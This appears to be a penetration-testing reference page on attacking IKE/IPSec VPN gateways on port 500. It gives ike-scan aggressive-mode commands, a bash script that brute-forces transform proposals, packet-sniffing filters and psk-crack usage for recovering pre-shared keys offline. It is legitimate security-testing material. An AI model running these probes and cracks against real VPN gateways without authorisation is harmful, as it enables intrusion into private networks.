aex.red

500 ISAKMP, IKE, IPSec

Notes

Alternative Ports
4500 (NAT-T)

Service Description
ISAKMP (Internet Security Association and Key Management Protocol), commonly seen with IKE (Internet Key Exchange) as part of IPSec VPNs. It negotiates security associations (SAs) and handles authentication/exchange of cryptographic keys.

This is typically the first point of interaction in VPN setups, and is a target for identifying VPN gateways, user identities, and misconfigurations.

Remember

To abuse Aggressive Mode you need to find both a valid ID and transform set to elicit the PSK.

Tools & Exploits

Enumeration

nmap

# With nmap scripts
nmap -sU -p500 --script ike-version <target-ip>

ike-scan
Performs IKE discovery and fingerprinting of VPN devices. Can also bruteforce valid ID payloads (aggressive mode).

# Fingerprinting
ike-scan <target-ip>
 
# Aggressive Mode
ike-scan --aggressive --id=myid --pskcrack <target-ip>

strongSwan
Open-source IPsec implementation. Useful for testing VPN connections or setting up rogue VPN servers.

# How To Install
apt install strongswan -y

ISAKMP Sniffing

wireshark Find ISAKMP packets to determine transform:

udp.port == 500 && isakmp
# Or
ip.addr == <target-ip> && udp.port == 500
  • Or if you’re on the same subnet as the VPN:
tcpdump -ni eth0 udp port 500

What to look for:

  • Initiator Packet:
    • Expand: ISAKMP > Security Association > Proposals > Proposal > Transforms
    • Review each transform type: Encryption, Hash, Auth Method, DH Group
  • Responder Packet:
    • If it contains Notify Message Type: NO_PROPOSAL_CHOSEN, proposal was rejected
    • If it contains an SA and subsequent ID/HASH payloads, proposal was accepted

Exchange Type: Look for exchange type = 4 (Aggressive Mode)

  • You can also look for the Exchange Mode ID Data, for example: ISAKMP > Payload: Identification> ID Type: FQDN > ID Data: vpn.company.com

ike-scan vs Wireshark Transform ID Mapping

Crypto ComponentWireshark IDike-scan ID
3DES-CBC53
AES-CBC75
SHA122
MD511
PSK11
MODP 76811
MODP 102422
MODP 153655
  • Manually test for accepted transform proposal:
ike-scan --aggressive --id=your_id --trans=3,1,1,2 <target-ip>   # MD5
ike-scan --aggressive --id=your_id --trans=5,2,1,2 <target-ip>   # AES
ike-scan --aggressive --id=your_id --trans=3,2,1,1 <target-ip>   # MODP768
ike-scan --aggressive --id=your_id --trans=3,2,1,5 <target-ip>   # MODP1536
  • Script to brute-force transform proposals after ID is confirmed valid:
#!/bin/bash
 
TARGET="$1"
ID="$2"
 
if [[ -z "$TARGET" || -z "$ID" ]]; then
  echo "Usage: $0 <target-ip> <valid-id>"
  exit 1
fi
 
transforms=(
  "1,2,1,1"
  "1,2,1,2"
  "1,1,1,2"
  "3,2,1,2"
  "5,2,1,1"
  "5,2,1,2"
  "5,1,1,2"
  "5,2,1,5"
)
 
for trans in "${transforms[@]}"; do
  echo -e "\n[*] Trying transform: $trans"
  ike-scan --aggressive --id="$ID" --trans="$trans" "$TARGET"
done

NOTE

You can also try enumerating SNMP (v2 or below) to see if you can obtain relevant data.

PSK Cracking

psk-crack
Tool that recovers the pre-shared key from captured IKE handshakes (typically when aggressive mode is enabled and ID is known or guessed).

# After capturing handshake with ike-scan:
psk-crack psk-hash-file.txt
  • Aggressive mode exposes hashed PSKs, allowing offline cracking.
  • Useful to combine ike-scan with psk-crack to recover weak shared secrets.

References

Graph View